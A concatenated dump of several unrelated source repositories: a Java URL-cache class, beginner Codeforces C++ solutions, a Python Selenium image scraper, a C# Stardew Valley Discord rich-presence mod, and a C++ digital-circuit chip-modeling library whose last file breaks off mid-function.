long initial = location;
while(!fileName.trim().isEmpty()){
location = location + 264;
if(location == initial){
rehash();
put(url);
}else{
if( location >= cache.length()){
location = 0;
}
cache.seek(location);
bArray = new byte[256];
timeAdded = cache.readLong();
cache.read(bArray);
fileName = new String(bArray);
}
}
cache.seek(location);
cache.writeLong(connection.getDate());
cache.write(cleanURL.getBytes());
return;
}
}
}catch(IOException e){
e.printStackTrace();
}
}
public void rehash(){
System.out.println("Rehashing .....");
try{
File temp = new File("tempCache");
RandomAccessFile tempCache = new RandomAccessFile(temp,"rw");
int prevSize = this.size;
this.size = prevSize * 2;
tempCache.setLength(this.size*(8+256));
for(int i = 0; i< prevSize ; i++){
// FIND IN THE OLD
long location = i * (8+256);
cache.seek(location);
long timeAdded = cache.readLong();
byte[] bArray = new byte[256];
cache.read(bArray);
String fileName = new String(bArray);
//PLACE IN NEW
int index = fileName.trim().hashCode() & (size - 1);
long newLocation = index * (8+256);
tempCache.seek(newLocation);
long tempTimeAdded = tempCache.readLong();
byte[] tempArray = new byte[256];
tempCache.read(tempArray);
String newFileName = new String(tempArray);
if (!newFileName.trim().isEmpty()){
if (!newFileName.trim().equals(fileName)){
long initial = newLocation;
while(!newFileName.trim().isEmpty()){
newLocation += 264;
if(newLocation == initial){
rehash();
put(new URL(fileName));
}else{
if( newLocation >= tempCache.length()){
newLocation = 0;
}
tempCache.seek(newLocation);
tempArray = new byte[256];
tempTimeAdded = tempCache.readLong();
tempCache.read(tempArray);
newFileName = new String(tempArray);
}
}
}
}
tempCache.seek(newLocation);
tempCache.writeLong(timeAdded);
tempCache.write(fileName.trim().getBytes());
}
cache = tempCache;
cacheFile.delete();
temp.renameTo(new File("cache"));
cacheFile = temp;
}catch(IOException e){
e.printStackTrace();
}
}
public void updateTime(URL url){
try{
String cleanURL = url.toString();
if(cleanURL.length() > 256){
cleanURL = cleanURL.substring(0, 256);
}
int index = cleanURL.hashCode() & ( size - 1 ) ;
long location = getLocation(url);
URLConnection connection = url.openConnection();
if(location >= 0){
cache.seek(location);
cache.writeLong(connection.getDate());
}
}catch(IOException e){
e.printStackTrace();
}
}
public long needToChange(URL url){
try{
String cleanURL = url.toString();
if(cleanURL.length() > 256){
cleanURL = cleanURL.substring(0, 256);
}
URLConnection connection = url.openConnection();
if(get(url) < connection.getLastModified()){
System.out.println("Need to Refresh: "+url);
return getLocation(url);
}
System.out.println("No Refresh Needed for: "+url);
return -1;
}catch(IOException e){
e.printStackTrace();
return -1;
}
}
public long getLocation(URL url){
try{
String cleanURL = url.toString();
if(cleanURL.length() > 256){
cleanURL = cleanURL.substring(0, 256);
}
int index = cleanURL.hashCode() & ( size - 1 ) ;
long location = index * (8+256);
URLConnection connection = url.openConnection();
cache.seek(location + 8);
byte[] bArray = new byte[256];
cache.read(bArray);
String fileName = new String(bArray);
if (!fileName.trim().equals(cleanURL)){
long initial = location;
while(!fileName.trim().equals(cleanURL)){
location += 264 ;
if(location == initial){
return -1;
}else{
if( location >= cache.length()){
location = 0;
}
cache.seek(location + 8);
bArray = new byte[256];
cache.read(bArray);
fileName = new String(bArray);
}
}
}else{
cache.seek(location + 8);
bArray = new byte[256];
cache.read(bArray);
fileName = new String(bArray);
}
return location;
}catch(IOException e){
e.printStackTrace();
return -1;
}
}
public long get(URL url){
try{
String cleanURL = url.toString();
if(cleanURL.length() > 256){
cleanURL = cleanURL.substring(0, 256);
}
int index = cleanURL.hashCode() & ( size - 1 ) ;
long location = index * (8+256);
URLConnection connection = url.openConnection();
cache.seek(location);
long timeAdded = cache.readLong();
byte[] bArray = new byte[256];
cache.read(bArray);
String fileName = new String(bArray);
if (!fileName.trim().equals(cleanURL)){
long initial = location;
while(!fileName.trim().equals(cleanURL)){
location += 264 ;
if(location == initial){
return -1;
}else{
if( location >= cache.length()){
location = 0;
}
cache.seek(location );
bArray = new byte[256];
timeAdded = cache.readLong();
cache.read(bArray);
fileName = new String(bArray);
}
}
}else{
cache.seek(location);
timeAdded = cache.readLong();
bArray = new byte[256];
cache.read(bArray);
fileName = new String(bArray);
}
return timeAdded;
}catch(IOException e){
e.printStackTrace();
return 0;
}
}
} | dd48ee3833187eadb6216fea9efad65c68754cd0 | [
"Markdown",
"Java"
] | 3 | Java | bcaruso/365Assign2 | c7cb825d09879ec8086ce9a5b6c1eeb620f5d4ca | 376c102def42b7acedefefdd6b2deeb6b6183373 |
refs/heads/master | <repo_name>350sangam/codeforces-solution<file_sep>/code-forces/112A.cpp
#include <iostream>
#include<bits/stdc++.h>
using namespace std;
int main()
{
string s1,s2;
cin>>s1>>s2;
transform(s1.begin(), s1.end(), s1.begin(), ::toupper);
transform(s2.begin(), s2.end(), s2.begin(), ::toupper);
if (s1 == s2)
cout <<0<< endl;
else if (s1 > s2)
cout <<1<< endl;
else
cout <<-1<< endl;
return 0;
}<file_sep>/code-forces/231A.cpp
#include<iostream>
#include<ctype.h>
#include<string.h>
#include<stdio.h>
using namespace std;
int main(){
int n,a,b,c;
int count = 0;
cin>>n;
while (n--)
{ cin>>a>>b>>c;
if ((a+b+c)>=2)
{
count++;
}
}
cout<<count;
return 0;
} <file_sep>/code-forces/158A.cpp
#include <iostream>
using namespace std;
int main(){
int n,k;
int count=0;
cin>>n>>k;
int c[n];
for (int i = 0; i < n; i++)
{
cin>>c[i];
}
for (int i = 0 ; i < n ; i++){
while (c[i]>0)
{
if(c[i]>=c[k-1]){
count++;
break;
}
break;
}
}
cout<<count;
return 0;
}<file_sep>/code-forces/282A.cpp
#include <iostream>
#include<cstring>
using namespace std;
int main()
{
int n;
int count = 0;
cin>>n;
while (n--)
{ char c[4];
cin>>c;
for (int i = 0; i < strlen(c); i++)
{
if (c[i] == '+')
{
count++;
break;
}
else if (c[i] == '-')
{
count--;
break;
}
}
}
cout<<count;
return 0;
}<file_sep>/code-forces/4A.cpp
#include<iostream>
#include<stdio.h>
using namespace std;
int main()
{
int n;
cin>>n;
if(n>0 && n<101){
if(n%2==0 && n/2 !=1){
cout<<"YES";
}
else{
cout<<"NO";
}
}
return 0;
}<file_sep>/code-forces/71A.cpp
#include<iostream>
#include<string.h>
using namespace std;
int main(){
char s[99];
int n,l;
cin>>n;
for(int i=0;i<n;i++){
cin>>s;
l = strlen(s);
if (l>10)
{
cout<<s[0]<<l-2<<s[l-1];
}
else
{
cout<<s;
}
}
return 0;
} <file_sep>/code-forces/50A.cpp
#include <iostream>
using namespace std;
int main(){
int n,k,c;
cin>>n>>k;
if ((n*k)%2 > 0)
{
int a;
a = (n*k)%2;
c = (n*k) - a;
}
c = (n*k)/2;
cout<<c;
return 0;
} | 20bb3796ebf3b609a510e01641cdc9a1778e77cd | [
"C++"
] | 7 | C++ | 350sangam/codeforces-solution | 5834fb9cef77d41581c1f59969f0cebb5482b8b6 | 81ab04ab02e93136ef1f7ea1bb53744f78e184e3 |
refs/heads/master | <file_sep>from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import json
import os
import urllib
import argparse
#below is the search term you want to search on google images (first try out manually, which term fetches you more relevant images)
searchterm = 'handgun shootings'
url = "https://www.google.co.in/search?q="+searchterm+"&source=lnms&tbm=isch"
browser = webdriver.Chrome(executable_path='C:/chrome_driver/chromedriver.exe')
browser.get(url)
header={'User-Agent':"Chrome/76.0.3809.36"}
counter = 0
succounter = 0
if not os.path.exists(searchterm):
os.mkdir(searchterm)
for _ in range(1000):
browser.execute_script("window.scrollBy(0,10000)")
for x in browser.find_elements_by_xpath('//div[contains(@class,"rg_meta")]'):
counter = counter + 1
print("Total Count:", counter)
print("Succsessful Count:", succounter)
print("URL:",json.loads(x.get_attribute('innerHTML'))["ou"])
img = json.loads(x.get_attribute('innerHTML'))["ou"]
imgtype = json.loads(x.get_attribute('innerHTML'))["ity"]
try:
path = os.path.join(searchterm , searchterm + "_" + str(counter) + "." + imgtype)
urllib.request.urlretrieve(img, path)
succounter = succounter + 1
except:
print("can't get img")
print(succounter, "pictures succesfully downloaded")
browser.close()<file_sep># python-image-scraper
Scraping google images using selenium
| eed9add5068f4f99608c6a6cda2127c2e525d88c | [
"Markdown",
"Python"
] | 2 | Python | uma291/python-image-scraper | 37262494aa374d7d170bd1605dcb084a59833d88 | 05e3f2eb366fe8028734bfd52e186b5c5a474a38 |
refs/heads/master | <file_sep>using System;
using System.Threading;
using System.Timers;
using Microsoft.Xna.Framework;
using StardewModdingAPI;
using StardewModdingAPI.Events;
using StardewModdingAPI.Utilities;
using StardewValley;
using System.Text;
namespace stardew_richpresence
{
public class ModEntry : Mod
{
// PreInitialize RPC Client
RPC discordRpc;
public override void Entry(IModHelper helper)
{
// RPC Definition
Thread thread = new Thread(() => {
discordRpc = new RPC();
discordRpc.connect();
});
thread.Start();
// Initalization
Helper.Events.GameLoop.GameLaunched += GameLaunched;
// Menu Changed
Helper.Events.Display.MenuChanged += MenuChanged;
// In Game
Helper.Events.GameLoop.DayStarted += AfterStart;
Helper.Events.GameLoop.TimeChanged += UpdateRpcData;
}
private void MenuChanged(object sender, MenuChangedEventArgs e)
{
Monitor.Log("Menu Changed");
}
private void AfterStart(object sender, DayStartedEventArgs e)
{
Monitor.Log("In game");
discordRpc.client.SetPresence(discordRpc.presence);
}
private void UpdateRpcData(object sender, TimeChangedEventArgs e)
{
Monitor.Log("Update Time Data Event");
discordRpc.presence.Details = $"{SDate.Now().DayOfWeek}, The {SDate.Now().Day}";
discordRpc.presence.State = $"Year : {SDate.Now().Year} | Season : {SDate.Now().Season} | Time : {e.NewTime}";
discordRpc.presence.Assets = new DiscordRPC.Assets()
{
LargeImageKey = "icon",
LargeImageText = "In Game"
};
discordRpc.client.SetPresence(discordRpc.presence);
}
private void GameLaunched(object sender, GameLaunchedEventArgs e)
{
Monitor.Log("Game Launched Event");
discordRpc.presence.State = "Selecting";
discordRpc.presence.Details = "In Main Menu";
discordRpc.presence.Assets = new DiscordRPC.Assets()
{
LargeImageKey = "icon",
LargeImageText = "In Menu"
};
}
}
}
<file_sep>Stardew Valley's RichPresence
:: Getting Started ::
* Installing SMAPI : https://stardewvalleywiki.com/Modding:Player_Guide/Getting_Started#Install_SMAPI
* Download the mod : https://www.nexusmods.com/stardewvalley/mods/3092/
* Place the mod in SMAPI mod directory
* Launch the game and enjoy
:: Contact ::
Issues / PullRequests : https://github.com/GitStonic/stardew-vally-discord-presence
Discord : Stonic#2019
Twitter : https://twitter.com/imstonic<file_sep>using System;
using DiscordRPC;
using DiscordRPC.IO;
using DiscordRPC.RPC;
using System.Threading;
using System.Threading.Tasks;
using DiscordRPC.Logging;
using DiscordRPC.Message;
namespace stardew_richpresence
{
class RPC
{
private string clientID = "514926552174034963";
private static bool isRunning = false;
private static int discordPipe = -1;
public DiscordRpcClient client;
public RichPresence presence = new RichPresence();
public void connect()
{
using (client = new DiscordRpcClient(clientID, true, discordPipe))
{
client.OnReady += onReady;
client.OnError += onError;
client.OnClose += onClose;
client.SetPresence(presence);
client.Initialize();
runLoop();
}
}
private void runLoop()
{
isRunning = true;
while (client != null && isRunning)
{
if (client != null) client.Invoke();
Thread.Sleep(2500);
}
client.Dispose();
}
private void onReady(object sender, ReadyMessage args)
{
}
private void onError(object sender, ErrorMessage args)
{
isRunning = false;
}
private void onClose(object sender, CloseMessage args)
{
isRunning = false;
}
}
}
| 99648d9d2b8085fdd6a8bb02d50e8cbbf3f4e561 | [
"C#",
"Text"
] | 3 | C# | whoastonic/stardew-vally-discord-presence | c4771b302f11dae00968209ab6f2af831cc33455 | 62cefd45856deb7898a9decec7e0b2d47315d273 |
refs/heads/master | <repo_name>e7mac/Chip-Library<file_sep>/ChipIO/ChipOutput/ChipOutput.cpp
//
// ChipOutput.cpp
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "ChipOutput.h"
//void ChipOutput::setConnection(ChipInput *withConnection)
//{
// connection = withConnection;
//}
<file_sep>/Chip/DacChip.h
//
// DacChip.h
// ChipLibraryTestBed
//
// Created by Mayank on 9/8/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__DacChip__
#define __CircuitModel__DacChip__
#include <iostream>
#include "Chip.h"
#include "SingleBitInput.h"
#include "EdgeTriggeredInput.h"
class DacChip:public Chip
{
public:
float mOutputValueFloat;
unsigned short mOutputValue;
unsigned short forIndex; // pre-allocating
public:
DacChip();
EdgeTriggeredInput resetInputRegister;
SingleBitInput input[16];
float getOutputValue(){return mOutputValue;};
float getOutputValueFloat(){return mOutputValueFloat;};
void tickInput();
void tickOutput();
void resetInput();
void resetOutput();
virtual std::string description() {return "dac";};
};
#endif /* defined(__CircuitModel__DacChip__) */
<file_sep>/Chip/Wavetable/WavetableChip.h
//
// SinDac.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__SinDac__
#define __CircuitModel__SinDac__
#include <iostream>
#include "Chip.h"
#include "SerialInput.h"
#include "SerialOutput.h"
#include "EdgeTriggeredInput.h"
class WavetableChip:public Chip
{
protected:
unsigned short mIndex;
unsigned short mWavetableOut;
float mWavetableOutFloat;
float *wavetable;
unsigned short forIndex;
public:
WavetableChip();
SerialInput input;
SerialOutput output;
EdgeTriggeredInput clockInputRegister;
EdgeTriggeredInput resetInputRegister;
void tickInput();
void tickOutput();
void clockInput();
void clockOutput();
void resetInput();
void resetOutput();
void cache();
float getWavetableOutFloat(){return mWavetableOutFloat;};
unsigned short getWavetableOut(){return mWavetableOut;};
virtual float waveFunction(short i) {return 0;};
virtual std::string description() {return "wavetable";};
};
#endif /* defined(__CircuitModel__SinDac__) */
<file_sep>/README.md
Chip-Library
============
A Digital Circuit modeling library which gives access to the individual lines. Built with the motivation of re-creating circuit bending in software.
Model
-----
Since we are interested in mangling the information while it is being transferred in between the 'Chip' modules, we stayed at the highest level possible - treating individual Chips as black boxes.
Each Chip has an appropriate number of ChipInputs and ChipOutputs and can perform its calculation at the right time. Each Chip has a CLOCK and a RESET signal. On receiving a CLOCK, the Chip left-shifts the registers on its ChipInputs and pulls another bit into its ChipInput. On receiving a RESET, the Chip takes the value of the Registers on its ChipInputs, performs the right calculations, and puts the calculated value on its ChipOutputs.
Setup
-----
Simply include the 'ChipLibraryInclude.h' file in your project file. Make sure all the directories are included.
Use
---
To use the library, create a CircuitBoard object. Create all the chips that you need. Use board.addConnection(ChipOutput, ChipInput) to connect the chips together. Once all the connections are made, use board.updateConnections() to actually make the connections. Use board.tick() to tuick the board and take the outputs and inputs you need from the chips directly. Enjoy!<file_sep>/Chip/TimerChip.cpp
//
// TimerChip.cpp
// CircuitModel
//
// Created by Mayank on 9/6/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "TimerChip.h"
TimerChip::TimerChip()
{
output.setChip(this);
}
void TimerChip::tickInput()
{
mState = !mState;
}
void TimerChip::tickOutput()
{
output.setOutputBit(mState);
}<file_sep>/Register.h
//
// Register.h
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__Register__
#define __CircuitModel__Register__
#include <iostream>
class Register
{
protected:
unsigned short mValue;
public:
static short nbits;
void setValue(unsigned short withValue);
unsigned short getValue();
bool getBitAtPosition(short pos);
bool getMsb();
bool getLsb();
void pushBit(bool newBit);
void leftShift(short shift);
void rightShift(short shift);
void leftCircularShift(short shift);
void rightCircularShift(short shift);
};
#endif /* defined(__CircuitModel__Register__) */
<file_sep>/ChipIO/ChipInput/SerialInput.cpp
//
// SerialInput.cpp
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "SerialInput.h"
void SerialInput::refreshInput()
{
// TEST BLOCK
if (connection){
inputRegister.pushBit(connection->serialOutput());
}
}<file_sep>/Chip/ResetTimerChip.h
//
// ResetTimerChip.h
// ChipLibraryTestBed
//
// Created by Mayank on 10/25/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __ChipLibraryTestBed__ResetTimerChip__
#define __ChipLibraryTestBed__ResetTimerChip__
#include <iostream>
#include "Chip.h"
#include "SingleBitOutput.h"
#include "EdgeTriggeredInput.h"
class ResetTimerChip: public Chip
{
protected:
bool mState;
int mCount;
public:
ResetTimerChip();
SingleBitOutput output;
EdgeTriggeredInput input;
void tickInput();
void tickOutput();
void clockInput();
void clockOutput();
virtual std::string description() {return "reset timer";};
};
#endif /* defined(__ChipLibraryTestBed__ResetTimerChip__) */
<file_sep>/Chip/GroundChip.cpp
//
// GroundChip.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "GroundChip.h"
GroundChip::GroundChip()
{
output.setChip(this);
output.setOutputBit(0); // ground
}<file_sep>/ChipIO/ChipOutput/SingleBitOutput.cpp
//
// SingleBitOutput.cpp
// CircuitModel
//
// Created by Mayank on 9/6/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "SingleBitOutput.h"
void SingleBitOutput::setOutputBit(bool withBit)
{
outputBit = withBit;
}
bool SingleBitOutput::serialOutput()
{
return outputBit;
}<file_sep>/Chip/Wavetable/SinWaveChip.h
//
// SinWaveChip.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__SinWaveChip__
#define __CircuitModel__SinWaveChip__
#include <iostream>
#include "WavetableChip.h"
class SinWaveChip:public WavetableChip
{
public:
SinWaveChip();
float waveFunction(short i);
// virtual std::string description() {return "sin wave";};
};
#endif /* defined(__CircuitModel__SinWaveChip__) */
<file_sep>/Chip/CounterChip.cpp
//
// CounterChip.cpp
// CircuitModel
//
// Created by Mayank on 9/6/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "CounterChip.h"
CounterChip::CounterChip()
{
input.setChip(this);
for (forIndex=0;forIndex<16;forIndex++)
output[forIndex].setChip(this);
}
void CounterChip::tickInput()
{
input.refreshInput();
inputBit = input.getState();
if (input.getRisingEdge())
clockInput();
}
void CounterChip::tickOutput()
{
output[0].setOutputBit(inputBit); // pass through
if (input.getRisingEdge())
clockOutput();
}
void CounterChip::clockInput()
{
mCount++;
}
void CounterChip::clockOutput()
{
for (forIndex=1;forIndex<16;forIndex++)
output[forIndex].setOutputBit(mCount & (1<<(forIndex-1)) );
}<file_sep>/Chip/FloatingVoltageChip.cpp
//
// FloatingVoltageChip.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "FloatingVoltageChip.h"
FloatingVoltageChip::FloatingVoltageChip()
{
output.setChip(this);
}
void FloatingVoltageChip::tickInput()
{
}
void FloatingVoltageChip::tickOutput()
{
output.setOutputBit(rand()%2); // TO DO: is there a better way to do this? rand() inefficient? This only gets a new number every tick, not every time it is accessed - is that okay? Maybe extend the singleBitOutput subclass, like RandomBitOutput...
}<file_sep>/Chip/Gate/Gate.h
//
// Gate.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__Gate__
#define __CircuitModel__Gate__
#include <iostream>
#include "SingleBitOutput.h"
#include "Chip.h"
class Gate:public Chip
{
protected:
public:
SingleBitOutput output;
virtual std::string description() {return "gate";};
};
#endif /* defined(__CircuitModel__Gate__) */
<file_sep>/Chip/Gate/BinaryGate/XorBinaryGate.cpp
//
// XorBinaryGate.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "XorBinaryGate.h"
bool XorBinaryGate::logicalOperation(bool in0, bool in1)
{
return (in0^in1);
}
<file_sep>/ChipIO/ChipOutput/SerialOutput.cpp
//
// SerialOutput.cpp
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "SerialOutput.h"
bool SerialOutput::serialOutput()
{
return outputRegister.getMsb();
}<file_sep>/Chip/Gate/BinaryGate/NandBinaryGate.h
//
// NandBinaryGate.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__NandBinaryGate__
#define __CircuitModel__NandBinaryGate__
#include <iostream>
#include "BinaryGate.h"
class NandBinaryGate: public BinaryGate
{
protected:
public:
bool logicalOperation(bool in0,bool in1);
};
#endif /* defined(__CircuitModel__NandBinaryGate__) */
<file_sep>/Chip/Gate/BinaryGate/AndBinaryGate.cpp
//
// AndBinaryGate.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "AndBinaryGate.h"
bool AndBinaryGate::logicalOperation(bool in0, bool in1)
{
return (in0&in1);
}
<file_sep>/Chip/Gate/BinaryGate/NorBinaryGate.h
//
// NorBinaryGate.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__NorBinaryGate__
#define __CircuitModel__NorBinaryGate__
#include <iostream>
#include "BinaryGate.h"
class NorBinaryGate: public BinaryGate
{
protected:
public:
bool logicalOperation(bool in0,bool in1);
};
#endif /* defined(__CircuitModel__NorBinaryGate__) */
<file_sep>/Chip/Gate/BinaryGate/OrBinaryGate.cpp
//
// OrBinaryGate.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "OrBinaryGate.h"
bool OrBinaryGate::logicalOperation(bool in0, bool in1)
{
return (in0|in1);
}
<file_sep>/ChipIO/ChipOutput/SingleBitOutput.h
//
// SingleBitOutput.h
// CircuitModel
//
// Created by Mayank on 9/6/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__SingleBitOutput__
#define __CircuitModel__SingleBitOutput__
#include <iostream>
#include "ChipOutput.h"
#include "Register.h"
class SingleBitOutput: public ChipOutput
{
public:
bool outputBit;
public:
void setOutputBit(bool withBit);
bool serialOutput();
};
#endif /* defined(__CircuitModel__SingleBitOutput__) */
<file_sep>/ChipIO/ChipOutput/SerialOutput.h
//
// SerialOutput.h
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__SerialOutput__
#define __CircuitModel__SerialOutput__
#include <iostream>
#include "ChipOutput.h"
#include "Register.h"
class SerialOutput: public ChipOutput
{
protected:
public:
Register outputRegister;
bool serialOutput();
};
#endif /* defined(__CircuitModel__SerialOutput__) */
<file_sep>/Register.cpp
//
// Register.cpp
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "Register.h"
void Register::setValue(unsigned short withValue)
{
mValue = withValue;
}
unsigned short Register::getValue()
{
return mValue & ((1<<nbits)-1); //bit masking to get nbits of data only
}
bool Register::getBitAtPosition(short pos)
{
return (mValue & (1<<pos));
}
bool Register::getMsb()
{
return getBitAtPosition(nbits-1);
}
bool Register::getLsb()
{
return getBitAtPosition(0);
}
void Register::pushBit(bool newBit)
{
leftShift(1);
mValue = (mValue | newBit); // check int & bool
}
void Register::leftShift(short shift)
{
mValue = mValue << shift; //check circular bit shift or not
}
void Register::rightShift(short shift)
{
mValue = mValue >> shift;
//need to mask bits above nbits
mValue = mValue & ((1<<nbits)-1);
}
void Register::leftCircularShift(short shift)
{
//need to mask bits above nbits
mValue = mValue & ((1<<nbits)-1);
mValue = (mValue>>(nbits-shift)) | (mValue<<shift);
//need to mask bits above nbits
mValue = mValue & ((1<<nbits)-1);
}
void Register::rightCircularShift(short shift)
{
//need to mask bits above nbits
mValue = mValue & ((1<<nbits)-1);
mValue = (mValue>>shift) | (mValue<<(nbits-shift));
//need to mask bits above nbits
mValue = mValue & ((1<<nbits)-1);
}
<file_sep>/Chip/Gate/BinaryGate/NandBinaryGate.cpp
//
// NandBinaryGate.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "NandBinaryGate.h"
bool NandBinaryGate::logicalOperation(bool in0, bool in1)
{
return !(in0&in1);
}
<file_sep>/Chip/VccChip.h
//
// VccChip.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__VccChip__
#define __CircuitModel__VccChip__
#include <iostream>
#include "SingleBitOutput.h"
#include "Chip.h"
class VccChip:public Chip
{
protected:
SingleBitOutput output;
public:
VccChip();
};
#endif /* defined(__CircuitModel__VccChip__) */
<file_sep>/Chip/AdcChip.h
//
// AdcChip.h
// ChipLibraryTestBed
//
// Created by Mayank on 9/8/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__AdcChip__
#define __CircuitModel__AdcChip__
#include <iostream>
#include "Chip.h"
#include "SingleBitOutput.h"
#include "EdgeTriggeredInput.h"
class AdcChip:public Chip
{
public:
float mInputValueFloat;
unsigned short mInputValue;
unsigned short mForIndex; // pre-allocating
public:
AdcChip();
EdgeTriggeredInput resetInputRegister;
SingleBitOutput output[16];
void setInputValue(float withInputValue);
void tickInput();
void tickOutput();
void resetInput();
void resetOutput();
virtual std::string description() {return "adc";};
};
#endif /* defined(__CircuitModel__AdcChip__) */
<file_sep>/ChipLibraryInclude.h
//
// ChipLibraryInclude.h
// ChipLibraryTestBed
//
// Created by Mayank on 9/8/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef ChipLibraryTestBed_ChipLibraryInclude_h
#define ChipLibraryTestBed_ChipLibraryInclude_h
#include "Chip.h"
#include "CounterChip.h"
#include "FrequencyControlWordChip.h"
#include "TimerChip.h"
#include "PhaseAccumulatorChip.h"
#include "AdcChip.h"
#include "DacChip.h"
#include "ADSREnvelopeChip.h"
#include "MultiplierChip.h"
#include "ResetTimerChip.h"
#include "DelayChip.h"
#include "Gate.h"
#include "BinaryGate.h"
#include "AndBinaryGate.h"
#include "OrBinaryGate.h"
#include "NandBinaryGate.h"
#include "NorBinaryGate.h"
#include "XorBinaryGate.h"
#include "WavetableChip.h"
#include "SinWaveChip.h"
#include "ChipIO.h"
#include "ChipInput.h"
#include "EdgeTriggeredInput.h"
#include "SerialInput.h"
#include "SingleBitInput.h"
#include "ChipOutput.h"
#include "SerialOutput.h"
#include "SingleBitOutput.h"
#include "Register.h"
#include "CircuitBoard.h"
#endif
<file_sep>/Chip/CounterChip.h
//
// CounterChip.h
// CircuitModel
//
// Created by Mayank on 9/6/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__CounterChip__
#define __CircuitModel__CounterChip__
#include <iostream>
#include "Chip.h"
#include "EdgeTriggeredInput.h"
#include "SingleBitOutput.h"
class CounterChip: public Chip
{
protected:
short mCount;
short forIndex; //pre-alloc for speed
bool inputBit;
public:
CounterChip();
void tickInput();
void tickOutput();
EdgeTriggeredInput input;
SingleBitOutput output[16];
void clockInput();
void clockOutput();
virtual std::string description() {return "counter";};
};
#endif /* defined(__CircuitModel__CounterChip__) */
<file_sep>/Chip/ADSREnvelopeChip.h
//
// ADSRChip.h
// ChipLibraryTestBed
//
// Created by Mayank on 10/13/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__ADSREnvelopeChip__
#define __CircuitModel__ADSREnvelopeChip__
#include <iostream>
#include "Chip.h"
#include "SingleBitInput.h"
#include "SerialOutput.h"
#include "EdgeTriggeredInput.h"
class ADSREnvelopeChip : public Chip
{protected:
float aTime,dTime,sLevel,rTime;
unsigned short mEnvelopeValue,mEnvelopeDeltaValue;
float mEnvelopeValueFloat,mEnvelopeDeltaValueFloat;
bool mNoteOn;
short mStage;
public:
ADSREnvelopeChip();
void setAttackTime(float withTime);
float getAttackTime() {return aTime;};
float* getAttackTimeAddress() {return &aTime;};
void setDecayTime(float withTime);
float getDecayTime(){return dTime;};
float* getDecayTimeAddress(){return &dTime;};
void setSustainLevel(float withLevel);
float getSustainLevel(){return sLevel;};
float* getSustainLevelAddress(){return &sLevel;};
void setReleaseTime(float withTime);
float getReleaseTime(){return rTime;};
float* getReleaseTimeAddress(){return &rTime;};
unsigned short getEnvelopeValue(){return mEnvelopeValue;}
unsigned short getEnvelopeValueFloat(){return mEnvelopeValueFloat;}
unsigned short getEnvelopeDeltaValue(){return mEnvelopeDeltaValue;}
unsigned short getEnvelopeDeltaValueFloat(){return mEnvelopeDeltaValueFloat;}
bool getNoteOn() {return mNoteOn;}
void update();
void attack();
void decay();
void sustain();
void release();
void tickInput();
void tickOutput();
void clockInput();
void clockOutput();
void resetInput();
void resetOutput();
EdgeTriggeredInput clockInputRegister;
EdgeTriggeredInput resetInputRegister;
SingleBitInput noteOnInput;
SerialOutput output;
virtual std::string description() {return "adsr";};
};
#endif /* defined(__CircuitModel__ADSRChip__) */
<file_sep>/Chip/MultiplierChip.cpp
//
// MultiplierChip.cpp
// ChipLibraryTestBed
//
// Created by Mayank on 10/17/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "MultiplierChip.h"
MultiplierChip::MultiplierChip()
{
clockInputRegister.setChip(this);
resetInputRegister.setChip(this);
for (forIndex=0;forIndex<2;forIndex++)
input[forIndex].setChip(this);
output.setChip(this);
}
void MultiplierChip::tickInput()
{
clockInputRegister.refreshInput();
if (clockInputRegister.getRisingEdge())
clockInput();
resetInputRegister.refreshInput();
if (resetInputRegister.getRisingEdge())
resetInput();
}
void MultiplierChip::tickOutput()
{
if (clockInputRegister.getRisingEdge())
clockOutput();
if (resetInputRegister.getRisingEdge())
resetOutput();
}
void MultiplierChip::clockInput()
{
